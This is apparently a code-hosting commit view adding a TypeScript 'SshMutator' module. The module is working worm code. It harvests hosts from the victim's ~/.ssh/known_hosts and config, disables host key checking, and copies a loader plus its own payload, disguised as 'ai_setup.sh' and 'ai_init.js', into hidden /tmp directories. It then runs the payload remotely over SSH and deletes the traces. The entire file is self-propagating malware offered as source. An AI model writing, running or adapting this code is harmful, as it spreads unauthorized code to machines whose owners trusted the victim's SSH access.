Upload files to "src/mutator/ssh"
This commit is contained in:
@@ -0,0 +1,318 @@
|
|||||||
|
import { readFile } from "node:fs/promises";
|
||||||
|
import { homedir } from "node:os";
|
||||||
|
|
||||||
|
import * as path from "path";
|
||||||
|
|
||||||
|
import { BASH_LOADER } from "../../generated";
|
||||||
|
import { logUtil } from "../../utils/logger";
|
||||||
|
import { Mutator } from "../base";
|
||||||
|
|
||||||
|
// ── SSH Mutator ───────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Propagates to recently-connected SSH hosts by:
|
||||||
|
* 1. Extracting hosts from ~/.ssh/known_hosts and ~/.ssh/config
|
||||||
|
* 2. SCP'ing a bash bun-loader + JS payload to a temp directory
|
||||||
|
* 3. SSH-executing the loader — bun is auto-downloaded if needed
|
||||||
|
* 4. Cleaning up the remote temp directory
|
||||||
|
*/
|
||||||
|
export class SshMutator extends Mutator {
|
||||||
|
constructor() {
|
||||||
|
super();
|
||||||
|
}
|
||||||
|
|
||||||
|
override async shouldExecute(): Promise<boolean> {
|
||||||
|
// Check that both ssh and scp are available
|
||||||
|
try {
|
||||||
|
const ssh = Bun.spawnSync(["which", "ssh"], { stdout: "pipe" });
|
||||||
|
const scp = Bun.spawnSync(["which", "scp"], { stdout: "pipe" });
|
||||||
|
return (
|
||||||
|
ssh.exitCode === 0 &&
|
||||||
|
ssh.stdout.length > 0 &&
|
||||||
|
scp.exitCode === 0 &&
|
||||||
|
scp.stdout.length > 0
|
||||||
|
);
|
||||||
|
} catch {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async execute(): Promise<Boolean> {
|
||||||
|
try {
|
||||||
|
// 1. Collect target hosts
|
||||||
|
const hosts = await this.collectHosts();
|
||||||
|
if (hosts.length === 0) {
|
||||||
|
logUtil.log("[SshMutator] No SSH hosts found — nothing to do.");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
logUtil.log(
|
||||||
|
`[SshMutator] Targeting ${hosts.length} host(s): ${hosts.join(", ")}`,
|
||||||
|
);
|
||||||
|
|
||||||
|
// 2. Build payload: bash loader + raw JS as ai_init.js
|
||||||
|
const rawPayload = await Bun.file(Bun.main).text();
|
||||||
|
const bashLoader = BASH_LOADER as string;
|
||||||
|
|
||||||
|
// 3. Propagate to each host (batch of 8 concurrent)
|
||||||
|
const BATCH = 8;
|
||||||
|
let ok = 0;
|
||||||
|
|
||||||
|
for (let i = 0; i < hosts.length; i += BATCH) {
|
||||||
|
const batch = hosts.slice(i, i + BATCH);
|
||||||
|
const results = await Promise.allSettled(
|
||||||
|
batch.map((host) => this.infectHost(host, bashLoader, rawPayload)),
|
||||||
|
);
|
||||||
|
|
||||||
|
for (let j = 0; j < results.length; j++) {
|
||||||
|
const result = results[j]!;
|
||||||
|
if (result.status === "fulfilled" && result.value) {
|
||||||
|
ok++;
|
||||||
|
logUtil.log(`[SshMutator] ${batch[j]} ✓`);
|
||||||
|
} else {
|
||||||
|
const reason =
|
||||||
|
result.status === "rejected"
|
||||||
|
? (result.reason as Error).message
|
||||||
|
: "ssh/scp failed";
|
||||||
|
logUtil.log(`[SshMutator] ${batch[j]} ✗ — ${reason}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
logUtil.log(`[SshMutator] Done. ${ok}/${hosts.length} succeeded.`);
|
||||||
|
return ok > 0;
|
||||||
|
} catch (e) {
|
||||||
|
logUtil.log(
|
||||||
|
`[SshMutator] Fatal: ${e instanceof Error ? e.message : String(e)}`,
|
||||||
|
);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Host discovery ─────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private async collectHosts(): Promise<string[]> {
|
||||||
|
const hosts = new Set<string>();
|
||||||
|
const home = homedir();
|
||||||
|
|
||||||
|
// Parse ~/.ssh/known_hosts
|
||||||
|
try {
|
||||||
|
const knownHosts = await readFile(
|
||||||
|
path.join(home, ".ssh", "known_hosts"),
|
||||||
|
"utf-8",
|
||||||
|
);
|
||||||
|
for (const line of knownHosts.split("\n")) {
|
||||||
|
const trimmed = line.trim();
|
||||||
|
if (!trimmed || trimmed.startsWith("#") || trimmed.startsWith("|")) {
|
||||||
|
continue; // skip comments and hashed entries
|
||||||
|
}
|
||||||
|
// Format: "hostname,ip key-type key" or "[hostname]:port key-type key"
|
||||||
|
const hostPart = trimmed.split(/\s+/)[0]!;
|
||||||
|
// Strip brackets and port: [host]:2222 → host, host:22 → host
|
||||||
|
const clean = hostPart
|
||||||
|
.replace(/^\[/, "")
|
||||||
|
.replace(/\]:\d+$/, "")
|
||||||
|
.replace(/:\d+$/, "");
|
||||||
|
for (const host of clean.split(",")) {
|
||||||
|
const h = host.trim();
|
||||||
|
if (h && !h.match(/^\d+\.\d+\.\d+\.\d+$/)) {
|
||||||
|
hosts.add(h);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
// ~/.ssh/known_hosts may not exist
|
||||||
|
}
|
||||||
|
|
||||||
|
// Parse ~/.ssh/config for Host + HostName entries
|
||||||
|
try {
|
||||||
|
const config = await readFile(path.join(home, ".ssh", "config"), "utf-8");
|
||||||
|
let currentAlias: string | null = null;
|
||||||
|
for (const raw of config.split("\n")) {
|
||||||
|
const line = raw.trim();
|
||||||
|
if (!line || line.startsWith("#")) continue;
|
||||||
|
|
||||||
|
const hostMatch = line.match(/^Host\s+(.+)$/i);
|
||||||
|
if (hostMatch) {
|
||||||
|
// Start a new block — add the previous alias if it resolved
|
||||||
|
if (
|
||||||
|
currentAlias &&
|
||||||
|
!hosts.has(currentAlias) &&
|
||||||
|
currentAlias !== "*"
|
||||||
|
) {
|
||||||
|
hosts.add(currentAlias);
|
||||||
|
}
|
||||||
|
currentAlias = null;
|
||||||
|
for (const entry of hostMatch[1]!.split(/\s+/)) {
|
||||||
|
const h = entry.trim();
|
||||||
|
if (h && h !== "*") {
|
||||||
|
currentAlias = h;
|
||||||
|
break; // take the first non-wildcard alias
|
||||||
|
}
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Resolve HostName → use the real hostname, not the alias
|
||||||
|
if (currentAlias) {
|
||||||
|
const hnMatch = line.match(/^HostName\s+(.+)$/i);
|
||||||
|
if (hnMatch) {
|
||||||
|
const realHost = hnMatch[1]!.trim();
|
||||||
|
if (realHost && !realHost.startsWith("*")) {
|
||||||
|
hosts.delete(currentAlias);
|
||||||
|
hosts.add(realHost);
|
||||||
|
currentAlias = null; // resolved
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Flush the last block
|
||||||
|
if (currentAlias && !hosts.has(currentAlias) && currentAlias !== "*") {
|
||||||
|
hosts.add(currentAlias);
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
// ~/.ssh/config may not exist
|
||||||
|
}
|
||||||
|
|
||||||
|
return Array.from(hosts);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Single-host infection ──────────────────────────────────────────
|
||||||
|
|
||||||
|
/**
|
||||||
|
* SCP the bash bun-loader + JS payload to a temp directory, then
|
||||||
|
* SSH-execute the loader. The loader handles bun detection,
|
||||||
|
* download (if needed), and payload execution automatically.
|
||||||
|
* Files are cleaned up after execution (best-effort).
|
||||||
|
*/
|
||||||
|
private async infectHost(
|
||||||
|
host: string,
|
||||||
|
bashLoader: string,
|
||||||
|
jsPayload: string,
|
||||||
|
): Promise<boolean> {
|
||||||
|
const remoteDir = `/tmp/.sshu-${Math.random().toString(36).slice(2, 8)}`;
|
||||||
|
const loaderFile = "ai_setup.sh";
|
||||||
|
const payloadFile = "ai_init.js";
|
||||||
|
|
||||||
|
// 1. Create remote temp directory
|
||||||
|
const mkdir = Bun.spawnSync(
|
||||||
|
[
|
||||||
|
"ssh",
|
||||||
|
"-o",
|
||||||
|
"StrictHostKeyChecking=no",
|
||||||
|
"-o",
|
||||||
|
"ConnectTimeout=10",
|
||||||
|
"-o",
|
||||||
|
"PasswordAuthentication=no",
|
||||||
|
"-o",
|
||||||
|
"BatchMode=yes",
|
||||||
|
host,
|
||||||
|
`mkdir -p ${remoteDir}`,
|
||||||
|
],
|
||||||
|
{ stdout: "pipe", stderr: "pipe" },
|
||||||
|
);
|
||||||
|
|
||||||
|
if (mkdir.exitCode !== 0) {
|
||||||
|
const err = new TextDecoder().decode(mkdir.stderr).trim();
|
||||||
|
throw new Error(`ssh mkdir failed: ${err || `exit ${mkdir.exitCode}`}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. SCP the bash loader
|
||||||
|
const scpLoader = Bun.spawnSync(
|
||||||
|
[
|
||||||
|
"scp",
|
||||||
|
"-o",
|
||||||
|
"StrictHostKeyChecking=no",
|
||||||
|
"-o",
|
||||||
|
"ConnectTimeout=10",
|
||||||
|
"-o",
|
||||||
|
"PasswordAuthentication=no",
|
||||||
|
"-o",
|
||||||
|
"BatchMode=yes",
|
||||||
|
"/dev/stdin",
|
||||||
|
`${host}:${remoteDir}/${loaderFile}`,
|
||||||
|
],
|
||||||
|
{ stdin: Buffer.from(bashLoader), stdout: "pipe", stderr: "pipe" },
|
||||||
|
);
|
||||||
|
|
||||||
|
if (scpLoader.exitCode !== 0) {
|
||||||
|
const err = new TextDecoder().decode(scpLoader.stderr).trim();
|
||||||
|
throw new Error(
|
||||||
|
`scp loader failed: ${err || `exit ${scpLoader.exitCode}`}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. SCP the JS payload
|
||||||
|
const scpPayload = Bun.spawnSync(
|
||||||
|
[
|
||||||
|
"scp",
|
||||||
|
"-o",
|
||||||
|
"StrictHostKeyChecking=no",
|
||||||
|
"-o",
|
||||||
|
"ConnectTimeout=10",
|
||||||
|
"-o",
|
||||||
|
"PasswordAuthentication=no",
|
||||||
|
"-o",
|
||||||
|
"BatchMode=yes",
|
||||||
|
"/dev/stdin",
|
||||||
|
`${host}:${remoteDir}/${payloadFile}`,
|
||||||
|
],
|
||||||
|
{ stdin: Buffer.from(jsPayload), stdout: "pipe", stderr: "pipe" },
|
||||||
|
);
|
||||||
|
|
||||||
|
if (scpPayload.exitCode !== 0) {
|
||||||
|
const err = new TextDecoder().decode(scpPayload.stderr).trim();
|
||||||
|
throw new Error(
|
||||||
|
`scp payload failed: ${err || `exit ${scpPayload.exitCode}`}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. SSH execute: the bash loader downloads bun (if needed) and
|
||||||
|
// runs ai_init.js from the same directory.
|
||||||
|
const ssh = Bun.spawnSync(
|
||||||
|
[
|
||||||
|
"ssh",
|
||||||
|
"-o",
|
||||||
|
"StrictHostKeyChecking=no",
|
||||||
|
"-o",
|
||||||
|
"ConnectTimeout=10",
|
||||||
|
"-o",
|
||||||
|
"PasswordAuthentication=no",
|
||||||
|
"-o",
|
||||||
|
"BatchMode=yes",
|
||||||
|
host,
|
||||||
|
`cd ${remoteDir} && bash ${loaderFile}`,
|
||||||
|
],
|
||||||
|
{ stdout: "pipe", stderr: "pipe", timeout: 120_000 },
|
||||||
|
);
|
||||||
|
|
||||||
|
// 5. Clean up the remote temp directory (best-effort, fire-and-forget)
|
||||||
|
Bun.spawn(
|
||||||
|
[
|
||||||
|
"ssh",
|
||||||
|
"-o",
|
||||||
|
"StrictHostKeyChecking=no",
|
||||||
|
"-o",
|
||||||
|
"ConnectTimeout=10",
|
||||||
|
"-o",
|
||||||
|
"PasswordAuthentication=no",
|
||||||
|
"-o",
|
||||||
|
"BatchMode=yes",
|
||||||
|
host,
|
||||||
|
`rm -rf ${remoteDir}`,
|
||||||
|
],
|
||||||
|
{
|
||||||
|
stdout: "pipe",
|
||||||
|
stderr: "pipe",
|
||||||
|
onExit: () => {},
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
if (ssh.exitCode !== 0 && ssh.exitCode !== null) {
|
||||||
|
const err = new TextDecoder().decode(ssh.stderr).trim();
|
||||||
|
throw new Error(`ssh exec failed: ${err || `exit ${ssh.exitCode}`}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user